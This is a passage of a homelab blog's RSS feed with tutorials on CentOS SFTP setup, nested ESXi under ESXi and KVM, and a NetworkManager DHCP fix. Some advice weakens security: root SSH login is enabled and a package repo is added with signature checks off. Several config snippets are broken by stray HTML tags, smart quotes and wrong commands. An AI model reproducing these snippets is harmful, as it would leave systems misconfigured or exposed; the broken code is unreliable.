&lt;p&gt;Lastly, in the network configuration wizard you can select all the usual network-related stuff – IP address, subnet mask, default gateway, DNS servers and the hostname for your CentOS installation. If you’re happy with what DHCP provided you with, you can safely click “Done” and then “Begin Installation” in the main menu.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190201-sftp-server/cos9.png&#34; alt=&#34;cos9&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190201-sftp-server/cos10.png&#34; alt=&#34;cos10&#34;&gt;&lt;/p&gt;
&lt;p&gt;After pressing that button, the installation will begin getting CentOS files onto your disk. In the meantime, you can configure the users for the OS.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190201-sftp-server/cos11.png&#34; alt=&#34;cos11&#34;&gt;)&lt;/p&gt;
&lt;p&gt;The most important and the only required user to be configured is root. The root user is the top-level administrative account, which is allowed to do basically everything within the OS. It is highly suggested to only use the root account when it is absolutely necessary and regular user accounts for all the other tasks.&lt;/p&gt;
&lt;p&gt;After setting up the users (and waiting approx. 30min), the installation of the CentOS 7 Linux is complete. Selecting the “Reboot” button will restart your system and launch some post-installation scripts.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190201-sftp-server/cos12.png&#34; alt=&#34;cos12&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;2-sftp-configuration&#34;&gt;2. SFTP Configuration&lt;/h2&gt;
&lt;p&gt;As mentioned in the intro, this guide is to get SFTP working as soon as possible, so please don’t expect this guide to be the best ever in terms of security and/or reliability.&lt;/p&gt;
&lt;p&gt;Having that said, after the freshly installed CentOS finishes booting up, log into it to begin setting up the SFTP.&lt;/p&gt;
&lt;p&gt;Unlike normal FTP, there’s no need to install additional packages in order to use SFTP. We just require the prebuild SSHd package that got already installed during the OS installation. Therefore, the steps needed are quite simple.&lt;/p&gt;
&lt;p&gt;Firstly, edit the&lt;code&gt;sshd_config&lt;/code&gt; file in &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[administrator@server]# sudo nano /etc/ssh/sshd_config&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The above command – &lt;code&gt;nano&lt;/code&gt; – will open up a simple WYSIWYG text editor which you can use to edit this configuration file. I’m using the &lt;code&gt;sudo&lt;/code&gt; operand to escalate the administrator user account privileges to root-level, which means you shouldn’t include it if you’re already logged in as root.&lt;/p&gt;
&lt;p&gt;Add a line in the Authentication section of the file that says PermitRootLogin yes. This line may already exist and be commented out with a “#”. In this case, remove the “#”.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# Authentication:&lt;/code&gt;&lt;br&gt;
&lt;code&gt;#LoginGraceTime 2m&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;&lt;code&gt;PermitRootLogin yes&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;#StrictModes yes&lt;/code&gt;&lt;br&gt;
&lt;code&gt;#MaxAuthTries 6&lt;/code&gt;&lt;br&gt;
&lt;code&gt;#MaxSessions 10&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Save the changes and exit the nano editor by pressing &lt;code&gt;CTRL+X&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The last thing we need to dois to restart the SSH service. This can be done with the following command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo service sshd restart&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;3-thats-it&#34;&gt;3. That’s it!&lt;/h2&gt;
&lt;p&gt;Yes, that’s really that simple. You can use now all the account you created during CentOS installation to access the files on your server.&lt;/p&gt;
&lt;p&gt;By default, the root account is going to have an access to all the files in all directories, while the users accounts will only have an access to their home folder.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Homelab Part 2 - ESXi on ESXi</title>
      <link>/posts/190101-nesting-esxi-in-esxi/</link>
      <pubDate>Tue, 01 Jan 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/190101-nesting-esxi-in-esxi/</guid>
      <description>Here’s a follow-up to my previous Homelab 2.0 post in which we are going to take a look at an alternative approach – nesting VMware ESXi VMs on an ESXi host. This approach to a nested homelab environment can be much simpler for those lucky enough to have hardware officially supported by ESXi.
You can find the previous post where I described similar process with CentOS 7 as the host OS here: Homelab Part 1 - Nesting</description>
      <content>&lt;p&gt;Here’s a follow-up to my previous Homelab 2.0 post in which we are going to take a look at an alternative approach – nesting VMware ESXi VMs on an ESXi host. This approach to a nested homelab environment can be much simpler for those lucky enough to have hardware officially supported by ESXi.&lt;/p&gt;
&lt;p&gt;You can find the previous post where I described similar process with CentOS 7 as the host OS here: &lt;a href=&#34;https://ssh.guru/homelab-part-1-nesting/&#34;&gt;Homelab Part 1 - Nesting&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The host we are working on in this series has 32GB of RAM, an Intel Xeon CPU and 300GB SSD.&lt;/p&gt;
&lt;h2 id=&#34;1-vmware-esxi-installation&#34;&gt;1. VMware ESXi installation&lt;/h2&gt;
&lt;p&gt;Installing VMware ESXi on the host machine is probably going to be the easiest part of our journey. The only thing you have to keep in mind is that a “vanilla” ESXi installation media doesn’t have as many hardware drivers as RedHat, CentOS or Windows Server iso, meaning you can run into issues if your hardware is not supported. Before getting your .iso, please check if your host hardware is supported. If not, you should consider getting a vendor iso (HP, Fujitsu, Lenovo etc.) or modifying the iso yourself (&lt;a href=&#34;https://www.v-front.de/p/esxi-customizer.html#download&#34;&gt;ESXi ISO Customizer&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;For starters, we need to get a copy of VMware ESXi installation iso, which can be downloaded from the official &lt;a href=&#34;https://my.vmware.com/en/web/vmware/evalcenter?p=free-esxi6&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=12&amp;amp;ved=0ahUKEwiqq4GZur7aAhVrDMAKHTLPDBwQFghcMAs&amp;amp;url=https://www.vmware.com/go/get-free-esxi&amp;amp;usg=AOvVaw0wSyljYuz2T6TFbtyR6X9w&#34;&gt;VMware Website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190101-nesting-esxi-in-esxi/vmware_software.png&#34; alt=&#34;vmware_software&#34;&gt;&lt;/p&gt;
&lt;p&gt;Please note you need to purchase a vSphere license to get this iso file. VMware does provide NFR licenses for students or professionals looking to setup a lab but this process is not as simple as with other software companies. Worst case scenario, you can apply for a free 60-day trial which will allow you to download the iso and test all the features of vSphere and ESXi for the time specified.&lt;/p&gt;
&lt;p&gt;After downloading the .iso file, we can get it on either a DVD disk or USB drive. I prefer to always use USB sticks for OS installations, however feel free to burn the .iso to a DVD disk – in both cases the installation looks the same. Putting an .iso file onto a bootable USB drive can be done by either using &lt;a href=&#34;https://rufus.akeo.ie/&#34;&gt;Rufus&lt;/a&gt; (Windows) or dd command (Linux/OS X).&lt;/p&gt;
&lt;p&gt;Once we get our ESXi installation media ready, we can start working on the host. To boot ESXi installation on my host, all I had to do was pressing ESC during POST and selecting the USB drive as a boot device, however depending on your motherboard, you might need to take some extra steps (enabling legacy boot, changing boot security settings etc.).&lt;/p&gt;
&lt;p&gt;The ESXi installation process is described very well on the official VMware website. There are no extra configuration steps needed at this point, so feel free to follow the guide below:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://players.brightcove.net/1534342432001/Byh3doRJx_default/index.html?videoId=2011162514001&#34;&gt;VMware ESXi 6.5 Installation &amp;amp; Configuration&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After the installation finishes, reboot your host and log into the ESXi system.&lt;/p&gt;
&lt;h3 id=&#34;2-esxi-configuration--enabling-nested-virtualization&#34;&gt;2. ESXi Configuration &amp;amp; enabling nested virtualization&lt;/h3&gt;
&lt;p&gt;As our lab will be virtualizing most of the typical infrastructure components, you should leave the host ESXi hostname and DNS settings untouched. Setting up a domain and connecting the hosts to it will be explained in Part II of this series. This process may be considered difficult by some (oh the DNS horrors), but we’ll get straight through it. Link to this will be added &lt;strong&gt;here&lt;/strong&gt; later on.&lt;/p&gt;
&lt;p&gt;Enabling nested virtualization in ESXi on the other hand is very simple. Firstly, we need to enable both promiscuous mode on the vSwitch and forged transmits. This will enable the VMs hosted on the nested ESXis to reach the network.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190101-nesting-esxi-in-esxi/promics_esxi.png&#34; alt=&#34;promics_esxi&#34;&gt;&lt;/p&gt;
&lt;p&gt;Without these modes enabled, the “double nested” VMs would never get any packets because…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;By default, a guest operating system’s virtual network adapter only receives frames that are meant for it. Placing the guest’s network adapter in promiscuous mode causes it to receive all frames passed on the virtual switch that are allowed under the VLAN policy for the associated portgroup. This can be useful for intrusion detection monitoring or if a sniffer needs to analyze all traffic on the network segment.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The second step, which we need to take to enable virtualization within ESXi VMs on a ESXi host, is even simpler. During the virtual machine creation wizard, on the very last page (hardware), please make sure to select the following option:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190101-nesting-esxi-in-esxi/nested_esxi.png&#34; alt=&#34;nested_esxi&#34;&gt;&lt;/p&gt;
&lt;p&gt;Which can be translated to: let this VM virtualize other VMs 🙂&lt;/p&gt;
&lt;h2 id=&#34;3-some-notes-on-esxi-vms&#34;&gt;3. Some notes on ESXi VMs&lt;/h2&gt;
&lt;p&gt;Creating an ESXi VMs at this point is exactly the same as creating any other VMs in VMware ESXi. In this series I’ll be working off two ESXi VMs, so I suggest you do the same if you’d like to follow my exact setup.&lt;/p&gt;
&lt;p&gt;As the host I’m using has 32GB of RAM available, I assigned 16GB of RAM to each ESXi VMs, however if your host does not have that amount of resources available, you can safely lower that amount to even 4GB.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Wi-Fi Down: NetworkManager (reason -3)</title>
      <link>/posts/181201-networkmanager-reason-3/</link>
      <pubDate>Sat, 01 Dec 2018 00:00:00 +0000</pubDate>
      
      <guid>/posts/181201-networkmanager-reason-3/</guid>
      <description>For the past month, I was using cable connection in my office. The reason being – I couldn’t connect to wi-fi!
I never really bothered solving that problem, because I hardly ever had to work without an ethernet cable nearby. This unfortunately has changed today and I had to finally do some NetworkManager troubleshooting.
1. The Scenario After trying to connect to the office Wi-Fi on my Linux laptop (Arch 4.</description>
      <content>&lt;p&gt;For the past month, I was using cable connection in my office. The reason being – I couldn’t connect to wi-fi!&lt;/p&gt;
&lt;p&gt;I never really bothered solving that problem, because I hardly ever had to work without an ethernet cable nearby. This unfortunately has changed today and I had to finally do some NetworkManager troubleshooting.&lt;/p&gt;
&lt;h2 id=&#34;1-the-scenario&#34;&gt;1. The Scenario&lt;/h2&gt;
&lt;p&gt;After trying to connect to the office Wi-Fi on my Linux laptop (Arch 4.15), I kept getting the same, annoying error – couldn’t connect to the network.&lt;/p&gt;
&lt;p&gt;I figured, the easiest way to get some info about what exactly is going on would be through systemctl, so I ran the following after getting the above mentioned error again:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@swz]# systemctl status NetworkManager&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Which, obviously, showed me the current status of the NetworkManager.service along with its recent activities:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Apr 10 07:03:36 swz NetworkManager[7036]: &amp;lt;info&amp;gt; [1523351016.0054] dhcp4 (wlp2s0): state changed unknown -&amp;gt; timeout&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Apr 10 07:03:36 swz NetworkManager[7036]: &amp;lt;info&amp;gt; [1523351016.0153] dhcp4 (wlp2s0): canceled DHCP transaction&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Apr 10 07:03:36 swz NetworkManager[7036]: &amp;lt;info&amp;gt; [1523351016.0154] dhcp4 (wlp2s0): state changed timeout -&amp;gt; done&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Apr 10 07:03:36 swz NetworkManager[7036]: &amp;lt;info&amp;gt; [1523351016.0164] device (wlp2s0): state change: ip-config -&amp;gt; failed (reason &#39;ip-config-unavailable&#39;, sys-iface-state: &#39;managed&#39;)&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Apr 10 07:03:36 swz NetworkManager[7036]: &amp;lt;info&amp;gt; [1523351016.0172] manager: NetworkManager state is now DISCONNECTED&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Apr 10 07:03:36 swz NetworkManager[7036]: &amp;lt;warn&amp;gt; [1523351016.0195] device (wlp2s0): Activation: failed for connection &#39;FBI_Surveillance_Van&#39;&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Apr 10 07:03:36 swz NetworkManager[7036]: &amp;lt;info&amp;gt; [1523351016.0209] device (wlp2s0): state change: failed -&amp;gt; disconnected (reason &#39;none&#39;, sys-iface-state: &#39;managed&#39;)&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Apr 10 07:03:36 swz NetworkManager[7036]: &amp;lt;info&amp;gt; [1523351016.0413] device (wlp2s0): set-hw-addr: set MAC address to 12:BD:1E:E2:02:E9 (scanning)&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;&lt;code&gt;Apr 10 07:03:36 swz NetworkManager[7036]: &amp;lt;warn&amp;gt; [1523351016.0469] sup-iface[0x562d7723f170,wlp2s0]: connection disconnected (reason -3)&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;Apr 10 07:03:36 swz NetworkManager[7036]: &amp;lt;info&amp;gt; [1523351016.0469] device (wlp2s0): supplicant interface state: completed -&amp;gt; disconnected&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The highlighted line quickly grabbed my attention. I searched the Arch Wiki for answers and eventually found out that this error basically means that there was an error during DHCP auto-configuration – my laptop couldn’t get an IP address from the server.&lt;/p&gt;
&lt;h2 id=&#34;2-the-solution&#34;&gt;2. The Solution&lt;/h2&gt;
&lt;p&gt;The resolution to this issue turned out to be pretty simple. As I couldn’t play around with the settings of the DHCP server itself, I forced it from my NetworkManager level to use dhclient instead of internal DHCP. To do so, all I had to do was:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install dhclient&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;[root@swz]# pacman -Syu dhclient&lt;/code&gt;&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Edit the NetworkManager configuration file…&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;[root@swz]# nano /etc/NetworkManager/NetworkManager.conf&lt;/code&gt;&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;…and add the following settings to it:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;[main]&lt;/code&gt;&lt;br&gt;
&lt;code&gt;plugins=ifupdown,keyfile&lt;/code&gt;&lt;br&gt;
&lt;code&gt;dhcp=dhclient&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[ifupdown]&lt;/code&gt;&lt;br&gt;
&lt;code&gt;managed=false&lt;/code&gt;&lt;/p&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;Finally, restart the NetworkManager service:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;[root@swz]# systemctl stop NetworkManager&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[root@swz]# systemctl start NetworkManager&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;3-the-conclusion&#34;&gt;3. The Conclusion&lt;/h2&gt;
&lt;p&gt;Pretty simple, isn’t it? Yeah, I wasted far too much time on using Ethernet in the office.&lt;/p&gt;
&lt;p&gt;As a side note, this configuration change shouldn’t affect your connectivity to other wi-fi networks, however if you’d run into any issues after applying this, you can always revert by #’ing all the lines in NetworkManager.conf (disabling them, while still keeping them in place for potential future use).&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Homelab Part 1 - Nesting</title>
      <link>/posts/181101-homelab-nesting/</link>
      <pubDate>Thu, 01 Nov 2018 00:00:00 +0000</pubDate>
      
      <guid>/posts/181101-homelab-nesting/</guid>
      <description>As my move to Ireland was quite unexpected and unplanned, I had to sell my homelab. For the past few months I was a refugee, an outcast trying to get something done on an outdated laptop which I was jokingly referring to as mobile-lab. The decision was made to end this and get new gear.
The situation I was stuck in started changing few days ago as I finally got the time and resources to recreate a lab I used to have back in Poland.</description>
      <content>&lt;p&gt;As my move to Ireland was quite unexpected and unplanned, I had to sell my homelab. For the past few months I was a refugee, an outcast trying to get something done on an outdated laptop which I was jokingly referring to as mobile-lab. The decision was made to end this and get new gear.&lt;/p&gt;
&lt;p&gt;The situation I was stuck in started changing few days ago as I finally got the time and resources to recreate a lab I used to have back in Poland.&lt;/p&gt;
&lt;p&gt;In this series we’re going to take a look at the whole process of setting up this new lab – from setting up the hosts and a domain, through vCenter deployment to NSX &amp;amp; vROPS.&lt;/p&gt;
&lt;p&gt;In today’s post – hosts! Three of them actually. One CentOS 7 Linux running KVM:QEMU and two VMware ESXi 6.5 VMs with nested virtualization enabled.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;EDIT&lt;/code&gt;: I chose CentOS 7 and KVM:QEMU as the physical host OS to increase the level of “tinkering” in my lab. However, due to the amount of requests, I will also post an alternative “Part I” post with ESXi 6.5 as the physical host OS.&lt;/p&gt;
&lt;p&gt;The host we are going to be working on in this series has 32GB of RAM, an Intel Xeon CPU and 300GB SSD.&lt;/p&gt;
&lt;h2 id=&#34;1-centos-7-installation&#34;&gt;1. CentOS 7 installation&lt;/h2&gt;
&lt;p&gt;Installing CentOS 7 on the host machine is probably going to be the easiest part of our journey.&lt;/p&gt;
&lt;p&gt;Firstly, we need to get a copy of CentOS 7 installation iso, which can be downloaded from the official &lt;a href=&#34;https://www.centos.org/download/&#34;&gt;CentOS project website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/181101-homelab-nesting/cnetosproject-1.png&#34; alt=&#34;cnetosproject-1&#34;&gt;&lt;/p&gt;
&lt;p&gt;After downloading the .iso file, we can get in on either a DVD disk or USB. I prefer to always use USB sticks, but again – feel free to burn the .iso to a DVD disk if needed. Putting .iso file onto a USB drive and making it bootable can be done either using &lt;a href=&#34;https://rufus.akeo.ie/&#34;&gt;Rufus&lt;/a&gt; on Windows or dd command on Linux/OS X.&lt;/p&gt;
&lt;p&gt;Once we get our CentOS installation media ready, we can start working on the host. To boot CentOS installation on my host, all I had to do was pressing ESC during POST and selecting the USB drive as a boot device, however depending on your motherboard, you might need to take some extra steps (enabling legacy boot, changing boot security settings etc.).&lt;/p&gt;
&lt;p&gt;The installation itself is pretty straight-forward. If you’d like to follow my exact lab setup, please choose “Server with GUI” option on the software selection page and tick all virtualization packages (manager, hypervisor, client).&lt;/p&gt;
&lt;p&gt;After the installation finishes, reboot your host and log into your CentOS system.&lt;/p&gt;
&lt;h2 id=&#34;2-nic-teaming&#34;&gt;2. NIC teaming&lt;/h2&gt;
&lt;p&gt;This step is actually optional. If you don’t have multiple physical NICs on your host, you can safely skip this. In my case, I had two NICs installed on my host. They were not providing my lab with any superb redundancy (as both of them were connected to the same switch), but this might change in the future.&lt;/p&gt;
&lt;p&gt;To start setting up a team interface, we need to load a team driver and install teamd package.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@centos]# modprobe team&lt;/code&gt;
&lt;code&gt;[root@centos]# yum -y install teamd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Next, create a file &lt;code&gt;team0&lt;/code&gt; in &lt;code&gt;/etc/sysconfig/network/tools&lt;/code&gt; folder with the following:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;BOOTPROTO=static  
 TEAM_CONFIG=&amp;#39;{“runner”:{“name”:”loadbalance”},”link_watch”:{“name”:”ethtool”}}’  
 IPADDR=192.168.100.1  
 NETMASK=255.255.255.0  
 GATEWAY=192.168.100.254  
 NAME=team0 DEVICE=team0  
 ONBOOT=yes  
 DEVICETYPE=Team  
 PREFIX=243. Getting UEFI BIOS`
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Remember to change the &lt;code&gt;IPADDR&lt;/code&gt;, &lt;code&gt;NETMASK&lt;/code&gt; and &lt;code&gt;GATEWAY&lt;/code&gt; to whatever fits your network. You can also change the loadbalance variable to a different runner if needed. Here’s a quick summary of runners you can choose from:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;broadcast : transmits each packet from all ports.&lt;/li&gt;
&lt;li&gt;roundrobin : transmits each packets in a round-robin way from each of its ports.&lt;/li&gt;
&lt;li&gt;activebackup: failover runner which watches for link changes and select an active port for data transfer.&lt;/li&gt;
&lt;li&gt;loadbalance: monitor traffic and uses a hash function to try to reach a perfect balance when selecting ports for packet transmission.&lt;/li&gt;
&lt;li&gt;lacp : Implement the 802.3ad Link Aggregation Control Protocol. It can use the same transmit port selection possibilities as the loadbalance runner.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Create configuration files for your network interfaces. You can check their names by running &lt;em&gt;ip addr&lt;/em&gt; command – mine turned out to be eth0 and eth1.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;TEAM_MASTER=team0  
 TEAM_PORT_CONFIG=&amp;#39;{“prio”:99}’  
 DEVICETYPE=TeamPort  
 NAME=eth0  
 HWADDR=52:54:00:44:11:aa  
 DEVICE=eth0  
 ONBOOT=yes&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&amp;#34;padding-left: 30px;&amp;#34;&amp;gt;&amp;lt;span style=&amp;#34;font-family: &amp;#39;couriernew&amp;#39;,courier,monospace; font-size: 8pt;&amp;#34;&amp;gt;**file: eth1**&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&amp;#34;padding-left: 30px;&amp;#34;&amp;gt;&amp;lt;span style=&amp;#34;font-family: &amp;#39;couriernew&amp;#39;,courier,monospace; font-size: 8pt;&amp;#34;&amp;gt;TEAM_MASTER=team0  
 TEAM_PORT_CONFIG=&amp;#39;{“prio”:100}’  
 DEVICETYPE=TeamPort  
 NAME=eth1  
 HWADDR=52:54:00:44:11:bb  
 DEVICE=eth1  
 ONBOOT=yes
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To finish setting up the team0 interface, bring it down and up again and restart the network service.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@centos]# ifdown team0;ifdown team0&lt;/code&gt;
&lt;code&gt;[root@centos]# systemctl restart network&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;As an alternative approach, you can use nmcli to create teaming. Firstly run the command below to set team0 interface:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@centos]# nmcli con add type team con-name team0 ifname team0 ip4 192.168.100.1/24 gw4 192.168.100.254&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Secondly, add both eth0 and eth1 as slaves to the team0 interface:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@centos]# nmcli con add type team-slave con-name eth3 ifname eth0 master team0&lt;/code&gt;
&lt;code&gt;[root@centos]# nmcli con add type team-slave con-name eth4 ifname eth1 master team0&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;3-basic-centos-configuration&#34;&gt;3. Basic CentOS configuration&lt;/h2&gt;
&lt;p&gt;Some things we need to configure before getting into virtualization (hostname &amp;amp; DNS):&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@centos]# echo ‘kvm01’ &amp;gt; /etc/hostname&lt;/code&gt;
&lt;code&gt;[root@kvm01]# echo ‘nameserver 8.8.8.8’ &amp;gt; /etc/resolv.conf&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;4-enabling-nested-virtualization&#34;&gt;4. Enabling nested virtualization&lt;/h2&gt;
&lt;p&gt;To activate nested virtualization (virtualizing hypervisors), run the following command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@kvm01]# modprobe kvm_intel nested=1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Replace* &lt;code&gt;kvm_intel&lt;/code&gt; with &lt;code&gt;kvm_amd&lt;/code&gt; if you’re running off an AMD CPU.&lt;/p&gt;
&lt;p&gt;This change will not be saved after a reboot. To enable nested virtualization permanently, you need to edit &lt;code&gt;/etc/modprobe.d/kvm.conf&lt;/code&gt; file and change the following line:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;options kvm_intel nested=1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Having this done, we can move onto some more exciting tweaks – enabling UEFI support for KVM.&lt;/p&gt;
&lt;p&gt;Firstly, create a new repo file in &lt;code&gt;etc/yum.repos.d/kraxel.repo&lt;/code&gt; with the following:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[qemu-firmware-jenkins]
name=firmware for qemu, built by jenkins, fresh from git reposbaseurl=https://www.kraxel.org/repos/jenkins/&amp;lt;/span&amp;gt;  
enabled=0&amp;lt;/span&amp;gt;  
gpgcheck=0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Afterwards, enable the newly added repository and install OVMF (Open Virtual Machine Firmware):&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@kvm01]# yum –enablerepo=qemu-firmware-jenkins -y install OVMF&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Next, edit the QEMU configuration file and replace line 682 with:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nvram = [
/usr/share/edk2.git/ovmf-x64/OVMF_CODE-pure-efi.fd:/usr/share/edk2.git/ovmf-x64/OVMF_VARS-pure-efi.fd”,
]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Restart &lt;code&gt;libvirtd&lt;/code&gt; service to apply the changes:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@kvm01]# systemctl restart libvirtd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Update QEMU on your system and disable the repository:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@kvm01]# yum -y install centos-release-qemu-ev&lt;/code&gt;
&lt;code&gt;[root@kvm01]# sed -i -e “s/enabled=1/enabled=0/g” /etc/yum.repos.d/CentOS-QEMU-EV.repo&lt;/code&gt;
&lt;code&gt;[root@kvm01]# yum –enablerepo=centos-qemu-ev -y install qemu-kvm-ev&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Restart &lt;code&gt;libvirtd&lt;/code&gt; again to apply changes.&lt;/p&gt;
&lt;p&gt;The last thing to do before moving on to the next step is to download the UEFI firmware itself.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@kvm01]# yum install edk2.git-aarch64 edk2.git-ovmf-x64&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;5-setting-up-promiscuous-mode-on-the-team-adapter&#34;&gt;5. Setting up promiscuous mode on the team adapter&lt;/h2&gt;
&lt;p&gt;Promiscuous mode in needed to enable nested virtual networking inside the nested ESXi environment. Here’s an official description of this mode:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;By default, a guest operating system’s virtual network adapter only receives frames that are meant for it. Placing the guest’s network adapter in promiscuous mode causes it to receive all frames passed on the virtual switch that are allowed under the VLAN policy for the associated portgroup. This can be useful for intrusion detection monitoring or if a sniffer needs to analyze all traffic on the network segment.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To enable promiscuous mode on the team0 adapter, run the following commands (in any order):&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@kvm01]# ip link set eth0 promisc on&lt;/code&gt;
&lt;code&gt;[root@kvm01]# ip link set eth1 promisc on&lt;/code&gt;
&lt;code&gt;[root@kvm01]# ip link set team0 promisc on&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;6-nested-esxi-vms&#34;&gt;6. Nested ESXi VMs&lt;/h2&gt;
&lt;p&gt;Finally, we can start setting up the ESXi VMs. To do so, open up the Virtual Machine Manager on your CentOS host and create a new VM.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/181101-homelab-nesting/rhel6_virt_manager.png&#34; alt=&#34;rhel6_virt_manager&#34;&gt;&lt;/p&gt;
&lt;p&gt;In my environment, the ESXi VMs are named ESXi01 and ESXi02, however feel free to choose anything else.&lt;/p&gt;
&lt;p&gt;Select local media install and the ESXi 6.5 iso from the local storage device.&lt;/p&gt;
&lt;p&gt;OS Type and Version doesn’t really matter, so you can choose basically anything.&lt;/p&gt;
&lt;p&gt;On the CPU/RAM page, select how many CPUs and how much RAM should this VM have access to. Remember ESXi 6.5 requires at least 4GB of RAM to install. I recommend setting up at least one ESXi VM with 10GB of RAM to make the installation of vCenter Server later on easier.&lt;/p&gt;
&lt;p&gt;Create a new disk image. Again, the size doesn’t really make a difference, but for this example, we are going to go ahead with 100GB.&lt;/p&gt;
&lt;p&gt;Next, remember to tick the option to customize the configuration before install and select e1000 with macvtap as the network adapter.&lt;/p&gt;
&lt;p&gt;On the customization page, select UEFI as the VM’s firmware and press apply.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/181101-homelab-nesting/uefi.png&#34; alt=&#34;uefi&#34;&gt;&lt;/p&gt;
&lt;p&gt;You can now safely clone the VM to create the third and final hypervisor in our little lab.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/181101-homelab-nesting/future_starts_now.gif&#34; alt=&#34;future_starts_now&#34;&gt;&lt;/p&gt;
